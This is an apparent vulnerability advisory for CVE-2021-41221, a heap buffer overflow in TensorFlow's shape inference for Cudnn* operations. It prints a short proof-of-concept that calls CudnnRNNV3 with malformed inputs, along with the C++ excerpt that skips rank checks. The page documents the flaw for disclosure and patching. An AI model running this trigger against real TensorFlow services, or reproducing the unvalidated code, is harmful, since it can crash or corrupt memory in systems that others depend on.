CVE-2021-41221: Access to invalid memory during shape inference in `Cudnn*` ops

(updated )

The shape inference code for the Cudnn* operations in TensorFlow can be tricked into accessing invalid memory, via a heap buffer overflow:

import tensorflow as tf

@tf.function
def func():
return tf.raw_ops.CudnnRNNV3(
input=[0.1, 0.1],
input_h=[0.5],
input_c=[0.1, 0.1, 0.1],
params=[0.5, 0.5],
sequence_lengths=[-1, 0, 1])

func()

This occurs because the ranks of the input, input_h and input_c parameters are not validated, but code assumes they have certain values:

auto input_shape = c->input(0);
auto input_h_shape = c->input(1);
auto seq_length = c->Dim(input_shape, 0);
auto batch_size = c->Dim(input_shape, 1);  // assumes rank >= 2
auto num_units = c->Dim(input_h_shape, 2); // assumes rank >= 3

References

Code Behaviors & Features

Detect and mitigate CVE-2021-41221 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →